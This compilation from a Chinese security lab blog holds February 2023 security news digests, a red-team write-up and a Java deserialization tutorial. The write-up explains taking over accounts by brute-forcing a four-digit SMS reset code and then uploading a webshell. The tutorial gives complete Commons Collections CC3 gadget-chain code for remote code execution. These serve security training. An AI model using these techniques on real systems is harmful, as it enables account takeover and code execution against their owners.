https://securityaffairs.com/142405/data-breach/godaddy-discloses-data-breach-2.html 网络托管公司GoDaddy披露攻击者窃取了源代码并在其服务器上安装了恶意软件。威胁行为者已经破坏了其cPanel共享托管环境,该公司表示无法确定最初入侵的时间,但是它仍在调查漏洞以确定事件的根本原因。安装在该公司系统上的恶意软件会间歇性地将随机客户网站重定向到恶意网站。GoDaddy透露,多年来有证据表明,这些威胁行为者与全球其他网络托管服务提供商的攻击有关。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
一次漏洞挖掘的简单组合拳
前言:
在最近的wxb举行hw中,同事让我帮他看看一些后台登录站点。尝试了未授权,弱口令皆无果,要么不存在弱口令,要么有验证码,没办法绕过。本文章仅提供一个思路,在hw中更多时候并不推荐尝试这种思路,只能作为一种解,因为花费的时间较长,前后大概花费了一个小时才拿下一个后台账号。
过程及思路:
在外围打点的过程中发现了一个站点,存在用户名枚举:
然后看到下面的验证码,估计很多都会放弃了吧!短信验证码+密码才能登录,爆破难度太大了。我一开始也是这么想的,后面尝试了下面的找回密码,看看是否能任意修改他人的账号密码。
后续先用自己不常用的手机号获取下验证码(这一步其实在hw中是很危险的,很容易被溯源)。发现短信验证码为四位数,而且失效时间大约在3分钟左右。查看这边重置密码的条件也就是短信验证码。这时候还记得我们前面发现的用户名枚举吗?我的思路是结合这两个漏洞,实现重置他人密码。
那么问题来了,我怎么知道用户的手机号码呢?或者说,手机号码那么多我要怎么找呢?这个是一个地级市的服务平台,那么他的用户理论上会存在大部分的该地级市的手机号码。每个地区的号码都是由前七位控制的,那么就可以查询一个地区的所有前七位号码,在加上遍历后面4位号码即可获得一个地区的手机号字典。这边给大家推荐一个工具,可以用来爬取一个地级市所有的手机号码。使用后会在本地生成字典号码。
然后把这些号码用burp去爆破,就可以获取到数据库里面存在的账号了。
通过爆破,我们获取到了后台账号,再结合前面的4位数验证码,去尝试爆破。
抓取重置密码的请求包,密码我们提前写好了:
再用intruder去爆破短信验证码:
皇天不负有心人,尝试了几次,终于成功了。当我高高兴兴拿着密码去登录时,发现还要验证码,这时候再重复一下前面的操作就行了。
然后就是把整个响应包的内容复制下来,再去点击下登录,然后替换掉登录报错的信息即可成功进入后台。
里面富含大量敏感信息,虽然没啥用。
然后在功能列表里面找到一个上传图片的地方,并未做过滤,成功上传木马:
但是没啥用,解析不了QAQ。本次只是给大家介绍一下思路,方法是可行的。其实我也不想用这种方法,但是更多的是想验证自己的猜想,才最终去实践证明。
网络安全日报 2023年02月17日
1、Mirai V3G4 僵尸网络利用 13 个漏洞攻击物联网设备
https://securityaffairs.com/142358/malware/mirai-v3g4-botnet.html Palo Alto Networks Unit 42 研究人员报告称,一种名为 V3G4 的 Mirai 变体试图利用多个漏洞在 2022 年 7 月至 2022 年 12 月期间感染物联网设备。 威胁行为者的目标是感染尽可能多的系统以组成可用于进行多种攻击(包括 DDoS 攻击)的僵尸网络。
2、现代和起亚修补允许使用 USB 数据线盗窃汽车的漏洞
https://securityaffairs.com/142303/breaking-news/hyundai-kia-theft-usb-cable.html 汽车制造商现代汽车和起亚汽车正在为几种车型附带的软件推出紧急更新。该更新解决了一个漏洞,窃贼可以利用该漏洞窃取受影响的车辆。预估有 380 万辆现代汽车和 450 万辆起亚汽车受到影响。
3、奥克兰市遭勒索软件攻击后进入紧急状态
https://securityaffairs.com/142295/cyber-crime/city-of-oakland-emergency-ransomware.html 由于 2023 年 2 月 8 日袭击该市的勒索软件攻击的影响,奥克兰市已宣布当地进入紧急状态。出于谨慎考虑,奥克兰市已将受影响的系统下线,同时他们努力保护受影响的基础设施。
4、新的 MortalKombat 勒索软件用于经济动机的活动
https://securityaffairs.com/142319/cyber-crime/mortalkombat-ransomware.html 自 2022 年 12 月以来,思科 Talos 研究人员一直在观察一个身份不明的出于经济动机的威胁行为者部署了两种新的恶意软件,即最近发现的 MortalKombat 勒索软件和 Laplas Clipper 恶意软件的 GO 变体。威胁参与者正在互联网上扫描具有暴露的远程桌面协议 (RDP) 端口 3389 的系统。恶意软件活动针对个人、小型企业和大型组织,其最终目标是窃取或要求以加密货币支付赎金。
5、Firefox 更新补丁修复数十个高危漏洞
https://www.securityweek.com/firefox-updates-patch-10-high-severity-vulnerabilities/ Mozilla 本周宣布发布 Firefox 110 和 Firefox ESR 102.8,其中包含针对 10 个高危漏洞的补丁。
6、黑客利用谷歌广告传播伪装成主流应用的 FatalRAT 恶意软件
https://thehackernews.com/2023/02/hackers-using-google-ads-to-spread.html 被伪装的应用程序包括 Google Chrome、Mozilla Firefox、Telegram、WhatsApp、LINE、Signal、Skype、Electrum、搜狗拼音法、有道和 WPS Office;大多数受害者位于中国台湾、中国大陆和香港,其次是马来西亚、日本、菲律宾、泰国、新加坡、印度尼西亚和缅甸。
7、欧洲的数百个系统被发现感染了 ESXiArgs 勒索软件
https://securityaffairs.com/142336/cyber-crime/esxiargs-ransomware-infections.html Censys 的研究人员报告称,在新一波ESXiArgs 勒索软件攻击中,已有 500 多台主机被感染,其中大部分位于法国、德国、荷兰和英国。
8、黑客开始在攻击中使用 Havoc 后渗透框架
https://www.bleepingcomputer.com/news/security/hackers-start-using-havoc-post-exploitation-framework-in-attacks 安全研究人员发现威胁行为者正在转向一种新的开源命令和控制 (C2) 框架,称为 Havoc,以替代 Cobalt Strike 和 Brute Ratel 等付费工具。
9、思科安全产品更新修补了ClamAV中的严重漏洞
https://www.securityweek.com/critical-vulnerability-patched-in-cisco-security-products 思科周三宣布更新端点、云和网络安全产品,以解决第三方扫描库 ClamAV 中的一个严重漏洞。ClamAV 是一个开源的跨平台反恶意软件工具包,可以检测木马、病毒和其他类型的恶意软件。
10、网空对抗重大变量:俄罗斯拟豁免亲俄黑客行动的法律责任
https://www.secrss.com/articles/51894 自俄乌战争爆发以来,俄罗斯网络前线得到多个黑客组织的支持,其中一部分与俄官方关系密切,还有一些与国家利益保持着较为松散的独立状态,后一部分黑客组织在西方甚至是俄罗斯的法律条款中,已经属于网络罪犯,不过这种情况似乎正在改变。据俄罗斯广播电台 Govoritmoskva 在 2 月10 日报道称,杜马信息政策委员会正在考虑这类亲俄派黑客的“罪责”问题。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:
这个defineClass又在当前类中被defineTransletClasses调用:
defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
第一个返回_class:
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
第二个返回了_class的下标:
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们来梳理一下到目前的调用链,很短也很方便:
我们先将payload写出来:
TemplatesImpl templatesimpl = new TemplatesImpl();
templatesimpl.newTransformer();
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:
if (_name == null) return null;
if (_class == null) defineTransletClasses();
继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);Test.class
public class Calc {
static{
try {
Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令
} catch (IOException e) { //win下还是calc
throw new RuntimeException(e);
}
}
}
然后我们再来改_tfactory的值:
这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值
private transient TransformerFactoryImpl _tfactory = null;
我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:
_name = (String)gf.get("_name", null);
//以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
修改恶意类,继承的父类中有两个抽象方法需要进行重写:
public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
templatesimpl.newTransformer();
}
}
下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
ctf.transform(1);
剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:
package ysoserial.payloads.Test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import static ysoserial.payloads.util.Test.util.Serialize.serialize;
import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templatesimpl),
new InvokerTransformer("newTransformer",null,null)
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链:
我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
也就是说下面两行代码就可以执行newTransformer了:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
instantiateTransformer.transform(TrAXFilter.class);
最终还是用ChainedTransformer包裹起来执行:
TemplatesImpl templatesimpl = new TemplatesImpl();
Class tmp = templatesimpl.getClass();
Field nameField = tmp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesimpl,"y1");
Field bytecodesField = tmp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesimpl,codes);
Field tfactoryfield = tmp.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});
ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
网络安全日报 2023年02月16日
1、新的MortalKombat勒索软件针对美国的系统
https://www.bleepingcomputer.com/news/security/new-mortalkombat-ransomware-targets-systems-in-the-us/ 黑客正在利用一种名为“MortalKombat”的Xortist商品勒索软件的变种,以及Laplas clipper进行网络攻击。这两种恶意软件感染都用于进行金融欺诈,勒索软件用于勒索受害者以获得解密器,而Laplas则通过劫持加密交易来窃取加密货币。Talos研究人员观察到的攻击主要集中在美国,英国、土耳其和菲律宾也有一些受害者。MortalKombat勒索软件于2023年1月首次被发现,
2、研究人员在451个PyPI软件包中发现clipper恶意软件
https://securityaffairs.com/142220/malware/451-clipper-malware-pypi.html Phylum的研究人员在官方Python包索引(PyPI)存储库中发现了超过451个独特的Python包,试图在开发人员系统上传播clipper恶意软件。据专家称,该活动仍在进行中,是他们在2022年11月发现的恶意活动的一部分。攻击者试图在包名的每一个可能的简单拼写错误中注册相同的代码。该过程简单且易于自动化。安装恶意软件包后,一个JavaScript文件将被放入系统中,并在任何web浏览会话的后台执行,允许每次开发人员复制加密货币地址时将其替换
3、大规模AdSense欺诈活动感染10890个网站
https://securityaffairs.com/142254/hacking/adsense-fraud-campaign-wordpress.html 2022年11月,安全公司Sucuri的研究人员报告称,追踪到WordPress恶意软件通过ois[.]is将网站访问者重定向到虚假问答网站的活动激增。自9月以来,他们已经在10890个受感染的网站上检测到这种活动。有超过70个新的恶意域名伪装成URL缩短器。被黑客攻击的网站流量被重定向到运行问答CMS的低质量网站。这些网站提出了与加密货币和区块链相关的讨论。威胁参与者的主要目标仍然是广告欺诈,通过将流量重定向到包含威胁参与者使用的
4、巴林机场和新闻网站遭黑客入侵导致无法正常运营
https://www.securityweek.com/hackers-target-bahrain-airport-news-sites-to-mark-uprising/ 一个自称为Al-Toufan的组织在网上发布的一份声明称,他们入侵了巴林国际机场网站,该网站在当天中午至少有半小时无法使用。黑客组织还声称已经关闭了巴林国家通讯社(Bahrain News Agency)的网站,该通讯社网站偶尔无法访问。该组织发布了显示504网关超时错误的图片,称此次黑客攻击“是为了支持我们受压迫的巴林人民的革命”。Al-Toufan组织还入侵并更改了巴林政府报纸《Akhbar Al Khaleej
5、Citrix 发布了针对其产品中多个高危漏洞的安全更新
https://securityaffairs.com/142287/hacking/citrix-high-severity-flaws.html Citrix 针对 Virtual Apps and Desktops 以及适用于 Windows 和 Linux 的 Workspace 应用程序中的多个高危漏洞发布了安全更新。
6、研究人员发现了一种名为 Beep 的新型恶意软件
https://securityaffairs.com/142263/hacking/beep-malware-highly-evasive.html Minerva 的研究人员最近发现了一种名为 Beep 的新型规避恶意软件,它实施了许多反调试和反沙盒技术。Beep 这个名字来自于通过使用 Beep API 函数延迟执行所涉及的技术。
7、英特尔发布补丁修复了产品中数十个漏洞
https://www.securityweek.com/dozens-of-vulnerabilities-patched-in-intel-products/ 英特尔本周宣布了针对其产品组合中数十个漏洞的补丁,包括严重和高严重性问题。这些缺陷中最严重的是 CVE-2021-39296(CVSS 得分为 10),它影响了多个英特尔平台的集成底板管理控制器 (BMC) 和 OpenBMC 固件。该漏洞于 2021 年在 netipmid (IPMI lan+) 接口中被发现,可能允许攻击者使用精心制作的 IPMI 消息绕过身份验证,从而获得对 BMC 的根访问权限。
8、最近修补的 IBM Aspera Faspex 漏洞被发现在野利用
https://www.securityweek.com/recently-patched-ibm-aspera-faspex-vulnerability-exploited-in-the-wild 使用 IBM 的 Aspera Faspex 文件传输解决方案的组织已收到警告,最近修补的漏洞正在被广泛利用。该安全漏洞被追踪为CVE-2022-47986并被归类为“高严重性”,是一个 YAML 反序列化漏洞,远程攻击者可以利用该漏洞使用特制的 API 调用执行任意代码。
9、APT37与一种名为M2RAT的新恶意软件关联
https://thehackernews.com/2023/02/north-koreas-apt37-targeting-southern.html 被追踪为APT37 的与朝鲜有关的威胁行为者与一种名为M2RAT的新恶意软件有关,该恶意软件针对其南部对手发起攻击,表明该组织的特征和策略在不断演变。
10、 黑客利用GoAnywhere MFT漏洞攻击导致CHS数据泄露
https://securityaffairs.com/142242/data-breach/community-health-systems-data-breach.html 社区卫生系统 (CHS) 披露了一起数据泄露事件,攻击者利用了 Fortra 的 GoAnywhere MFT 平台中的零日漏洞。社区卫生系统(CHS) 是美国领先的医疗保健提供者之一。CHS 经营着 79 家急症医院和 1,000 多个其他护理场所,包括执业医师、紧急护理中心、独立急诊室、职业医学诊所、影像中心、癌症中心和门诊手术中心。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月15日
1、百事装瓶公司遭到网络攻击暂停部分受影响的系统
https://www.bleepingcomputer.com/news/security/pepsi-bottling-ventures-suffers-data-breach-after-malware-attack/ 百事装瓶公司(Pepsi Bottling Ventures LLC)遭到网络入侵,导致数据泄露并感染了信息窃取恶意软件,攻击者从其IT系统中窃取了数据。该公司解释说,违规事件发生在2022年12月23日,但直到2023年1月10日才被发现。百事公司称,“我们迅速采取行动遏制事件并保护我们的系统安全。
2、Cloudflare阻止了创纪录的7100万次RPS DDoS攻击
https://thehackernews.com/2023/02/massive-http-ddos-attack-hits-record.html Cloudflare周一披露,它阻止了一次创纪录的分布式拒绝服务(DDoS)攻击,该攻击的峰值为每秒7100多万次请求(RPS)。这也是迄今为止报告的最大的HTTP DDoS攻击,比谷歌云在2022年6月抵御的4600万次RPS DDoS攻击高出35%以上。Cloudflare表示,这些攻击针对的是受其平台保护的网站,它们来自一个僵尸网络,该僵尸网络包含属于众多的云提供商的30000多个IP地址。目标网站包括流行的游戏提供商、加密货币公司、托
3、苹果公司发布安全更新修复了被积极利用的零日漏洞
https://thehackernews.com/2023/02/patch-now-apples-ios-ipados-macos-and.html 苹果公司周一推出了针对iOS、iPadOS、macOS和Safari的安全更新,以解决一个被积极利用的零日漏洞。漏洞被跟踪为CVE-2023-23529,与WebKit浏览器引擎中的类型混淆错误有关,该错误可能在处理恶意制作的Web内容时被激活,最终导致任意代码执行。苹果公司表示,该漏洞已通过改进检查得到解决。目前尚不清楚该漏洞在现实世界的攻击中是如何被利用的。该公司还解决了内核中的use-after-free问题(CVE-2023-235
4、Korenix JetWave工业网络设备中存在3个安全漏洞
https://www.helpnetsecurity.com/2023/02/13/korenix-jetwave-industrial-vulnerabilities/ CyberDanube研究人员发现,在各种Korenix JetWave工业接入点和LTE蜂窝网关中的三个漏洞可能允许攻击者破坏它们的操作或将它们用作进一步攻击的立足点。这三个漏洞现在尚未分配CVE编号,包含设备web服务器中的两个命令注入漏洞和一个可能被触发以实现拒绝web服务的漏洞。这三个漏洞都要求攻击者在发起攻击之前进行身份验证。可以通过重新启动目标设备暂时解决拒绝web服务攻击,但攻击者可能会注入可以导致无限期危
5、印度社交媒体应用Slick由于配置错误暴露用户数据
https://techcrunch.com/2023/02/10/slick-social-media-app-data-exposed/ 来自CloudDefense.ai的安全研究员Anurag Sen发现了一个暴露的数据库,数据库属于印度社交媒体应用程序Slick。至少从12月11日开始,一个包含Slick用户全名、手机号码、出生日期和个人资料照片的数据库在没有密码的情况下在互联网上公开,其中还包括在校儿童的数据。由于配置错误,任何熟悉数据库IP地址的人都可以访问该数据库,该数据库在受到保护时包含超过153000名用户的条目。研究人员请求TechCrunch帮助将事件报告给这家社交媒
6、HTML走私活动冒充知名品牌来传播恶意软件
https://www.csoonline.com/article/3687630/html-smuggling-campaigns-impersonate-well-known-brands-to-deliver-malware.html Trustwave SpiderLabs 研究人员指出,HTML 走私活动越来越普遍,网络犯罪集团利用 HTML 的多功能性与社会工程相结合来分发恶意软件。
7、研究人员在 PyPI Python 包中发现混淆的恶意代码
https://thehackernews.com/2023/02/researchers-uncover-obfuscated.html 研究人员已发现Python 包索引 ( PyPI ) 中的四个不同流氓包执行许多恶意操作,包括投放恶意软件、删除 netstat 实用程序和操纵 SSH authorized_keys 文件。
8、黑客使用新的IceBreaker恶意软件攻击博彩公司
https://www.4hou.com/posts/ykKE 黑客们近期一直在攻击在线博彩公司,他们使用了一种似乎前所未见的后门,研究人员将其命名为IceBreaker(“破冰船”)。
9、微软周二更新修复76个漏洞,并警告称一些漏洞已被利用
https://www.securityweek.com/patch-tuesday-microsoft-warns-of-exploited-windows-zero-days/ 微软星期二发布软件更新,以修复 Windows 和操作系统组件中至少 76 个漏洞,该公司警告说,一些漏洞已经在野外被利用。微软的安全响应团队标记了 76 个记录在案的缺陷中的三个,这些缺陷属于已被利用的类别,通常指的是野外的零日恶意软件攻击。
10、GoAnywhere MFT 零日漏洞已导致全球130多家企业被攻击
https://www.freebuf.com/news/357487.html 据BleepingComputer 2月10日消息,Clop 勒索软件组织最近利用 GoAnywhere MFT 安全文件传输工具中的零日漏洞,从 130 多个企业组织中窃取了数据。
免责声明
